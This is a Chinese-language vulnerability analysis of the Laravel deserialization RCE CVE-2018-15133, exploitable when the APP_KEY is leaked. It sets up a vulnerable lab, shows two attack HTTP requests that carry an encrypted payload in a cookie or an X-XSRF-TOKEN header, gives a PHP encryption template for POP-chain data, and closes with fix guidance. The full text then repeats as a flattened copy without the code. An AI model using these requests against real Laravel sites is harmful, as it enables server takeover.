Laravel框架RCE分析(CVE-2018-15133)
字数 1400 2025-08-26 22:11:22

Laravel框架RCE漏洞分析(CVE-2018-15133)教学文档

漏洞概述

CVE-2018-15133是Laravel框架中的一个远程代码执行(RCE)漏洞,当应用程序密钥(APP_KEY)泄露时,攻击者可以利用该漏洞在目标服务器上执行任意代码。该漏洞影响版本为:

  • 5.5.x <= 5.5.40
  • 5.6.x <= 5.6.29

漏洞原理

漏洞存在于Laravel框架的Cookie加密和CSRF令牌验证机制中。当Laravel接收到POST请求时,会依次调用多个中间件的handle方法进行处理。其中两个关键中间件存在安全隐患:

  1. App\Http\Middleware\EncryptCookies - 处理Cookie加密
  2. App\Http\Middleware\VerifyCsrfToken - 验证CSRF令牌

这两个中间件会对请求中的特定字段进行解密和反序列化操作。如果攻击者能够获取到应用程序的APP_KEY,就可以构造恶意的序列化数据,在解密后被反序列化,从而触发远程代码执行。

漏洞触发点

该漏洞可以通过两种方式触发:

  1. 通过Cookie字段:在请求中添加恶意Cookie,如Cookie: ATTACK=payload
  2. 通过HTTP Header:在请求头中添加X-XSRF-TOKEN字段,如X-XSRF-TOKEN: payload

环境搭建

测试环境配置:

  • 操作系统:Debian 9
  • Web服务器:Apache
  • PHP版本:7.2
  • Laravel版本:5.6.29

搭建步骤:

composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
cd laravel5629
sed -i -e 's/5.6.\*/5.6.29/g' composer.json
composer update
./artisan key:generate
echo "Route::post('/', function() {return view('welcome');});" >> ./routes/web.php
./artisan serve --host=0.0.0.0

漏洞分析

1. 通过Cookie触发RCE

攻击者可以构造如下请求:

POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM; ATTACK=eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

Laravel在处理请求时会:

  1. 使用APP_KEY解密Cookie中的ATTACK值
  2. 如果解密成功,将解密后的数据进行反序列化
  3. 反序列化过程中触发精心构造的POP链,导致RCE

2. 通过HTTP Header触发RCE

攻击者可以构造如下请求:

POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM
X-XSRF-TOKEN: eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

Laravel在处理请求时会:

  1. 检查CSRF token
  2. 如果没有CSRF token,则检查X-XSRF-TOKEN头
  3. 使用APP_KEY解密X-XSRF-TOKEN值
  4. 解密成功后反序列化数据
  5. 反序列化过程中触发RCE

EXP构造

要构造有效的EXP,需要使用Laravel的加密类Illuminate\Encryption\Encrypterencrypt方法对恶意序列化数据进行加密。基本步骤如下:

  1. 准备恶意序列化数据(利用已知的Laravel反序列化POP链)
  2. 使用APP_KEY和加密类对数据进行加密
  3. 将加密后的数据放入Cookie或X-XSRF-TOKEN头中

示例加密代码(需根据实际情况调整):

use Illuminate\Encryption\Encrypter;

$appKey = '泄露的APP_KEY'; // 必须与目标应用的APP_KEY相同
$encrypter = new Encrypter($appKey, 'AES-256-CBC');

$payload = '恶意序列化数据';
$encrypted = $encrypter->encrypt($payload);

echo $encrypted; // 这就是要放入Cookie或Header的值

漏洞修复

Laravel在5.6.30版本中修复了此漏洞,主要修改包括:

  1. 在Cookie解析时添加了static::serialized()参数来禁止反序列化操作
  2. 对X-XSRF-TOKEN头的处理也做了同样的限制

修复建议:

  • 升级到Laravel 5.5.41或5.6.30及以上版本
  • 确保APP_KEY安全,不要泄露
  • 定期检查应用程序的安全更新

参考链接

  1. Laravel Remote Code Execution when APP_KEY is leaked
  2. PoC (CVE-2018-15133)
Laravel框架RCE漏洞分析(CVE-2018-15133)教学文档 漏洞概述 CVE-2018-15133是Laravel框架中的一个远程代码执行(RCE)漏洞,当应用程序密钥(APP_ KEY)泄露时,攻击者可以利用该漏洞在目标服务器上执行任意代码。该漏洞影响版本为: 5.5.x <= 5.5.40 5.6.x <= 5.6.29 漏洞原理 漏洞存在于Laravel框架的Cookie加密和CSRF令牌验证机制中。当Laravel接收到POST请求时,会依次调用多个中间件的handle方法进行处理。其中两个关键中间件存在安全隐患: App\Http\Middleware\EncryptCookies - 处理Cookie加密 App\Http\Middleware\VerifyCsrfToken - 验证CSRF令牌 这两个中间件会对请求中的特定字段进行解密和反序列化操作。如果攻击者能够获取到应用程序的APP_ KEY,就可以构造恶意的序列化数据,在解密后被反序列化,从而触发远程代码执行。 漏洞触发点 该漏洞可以通过两种方式触发: 通过Cookie字段 :在请求中添加恶意Cookie,如 Cookie: ATTACK=payload 通过HTTP Header :在请求头中添加 X-XSRF-TOKEN 字段,如 X-XSRF-TOKEN: payload 环境搭建 测试环境配置: 操作系统:Debian 9 Web服务器:Apache PHP版本:7.2 Laravel版本:5.6.29 搭建步骤: 漏洞分析 1. 通过Cookie触发RCE 攻击者可以构造如下请求: Laravel在处理请求时会: 使用APP_ KEY解密Cookie中的ATTACK值 如果解密成功,将解密后的数据进行反序列化 反序列化过程中触发精心构造的POP链,导致RCE 2. 通过HTTP Header触发RCE 攻击者可以构造如下请求: Laravel在处理请求时会: 检查CSRF token 如果没有CSRF token,则检查X-XSRF-TOKEN头 使用APP_ KEY解密X-XSRF-TOKEN值 解密成功后反序列化数据 反序列化过程中触发RCE EXP构造 要构造有效的EXP,需要使用Laravel的加密类 Illuminate\Encryption\Encrypter 的 encrypt 方法对恶意序列化数据进行加密。基本步骤如下: 准备恶意序列化数据(利用已知的Laravel反序列化POP链) 使用APP_ KEY和加密类对数据进行加密 将加密后的数据放入Cookie或X-XSRF-TOKEN头中 示例加密代码(需根据实际情况调整): 漏洞修复 Laravel在5.6.30版本中修复了此漏洞,主要修改包括: 在Cookie解析时添加了 static::serialized() 参数来禁止反序列化操作 对X-XSRF-TOKEN头的处理也做了同样的限制 修复建议: 升级到Laravel 5.5.41或5.6.30及以上版本 确保APP_ KEY安全,不要泄露 定期检查应用程序的安全更新 参考链接 Laravel Remote Code Execution when APP_ KEY is leaked PoC (CVE-2018-15133)